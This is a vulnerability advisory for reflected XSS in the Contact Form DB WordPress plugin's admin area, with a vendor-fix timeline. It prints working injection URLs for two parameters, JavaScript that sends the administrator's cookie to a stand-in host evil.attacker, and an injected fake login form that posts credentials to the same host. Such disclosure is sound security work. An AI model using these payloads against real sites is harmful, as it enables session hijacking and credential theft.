• Vulnerability: Reflected XSS
  • Affected Software: Contact Form DB (WordPress Plugin)
  • Affected Version: 2.8.17 (probably also prior versions)
  • Patched Version: 2.8.18
  • Risk: Medium
  • Vendor Contacted: 2014-11-17
  • Vendor Fix: 2014-11-19
  • Public Disclosure: 2014-11-26

Description

There are two XSS vulnerabilities in the Contact Form DB WordPress Plugin admin area. If an attacker can get an administrator to click on a specific link, this can lead to the execution of arbitrary JavaScript, which in turn can for example lead to the stealing of cookies.

Simple POC

As single quotes are automatically escaped in WordPress, they cannot be used in the attack. It is still possible to inject a simple alert:

via submit_time:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script>alert(String.fromCharCode(88,83,83))</script><input name="1416134948.8682

via form_name:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1"><script>alert(String.fromCharCode(88,83,83));</script>

Exploiting the vulnerability

To get around the limitation of not using single quotes, an attacker can load a remotely hosted script:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script src=http://evil.attacker/myscript.js></script>

With this, it is possible to steal cookies:

// create image element, which as source loads website of attacker with cookie as argument, and add it to dom
var elem = document.createElement("img");elem.src = 'http://evil.attacker/c.php?c='+document.cookie;document.getElementById("contextual-help-tabs-wrap").appendChild(elem);

It is also possible to display the login page in the hope that the attacked administrator will fill out the login information as it is displayed on their actual website:

// replace content of current website with login form
// instead of sending login information to wordpress, send it to the attacker (from there, redirect back)
var div = document.getElementById('wpbody-content');
div.innerHTML = div.innerHTML +
'<form name="loginform" id="loginform"
action="http://evil.attacker/d.php" method="post">'
+'  <p>'
+'      <label for="user_login">Username<br />'
+'      <input type="text" name="log" id="user_login" class="input" value=""
size="20" /></label>'
+'  </p>'
+'  <p>'
+'      <label for="user_pass">Password<br />'
+'      <input type="password" name="pwd" id="user_pass" class="input"
value="" size="20" /></label>'
+'  </p>'
+'      <p class="forgetmenot"><label for="rememberme"><input
name="rememberme" type="checkbox" id="rememberme" value="forever"  />
Remember Me</label></p>'
+'  <p class="submit">'
+'      <input type="submit" name="wp-submit" id="wp-submit" class="button
button-primary button-large" value="Log In" />'
+'      <input type="hidden" name="redirect_to"
value="http://localhost/wordpress/wp-admin/" />'
+'      <input type="hidden" name="testcookie" value="1" />'
+'  </p>'
+'</form>'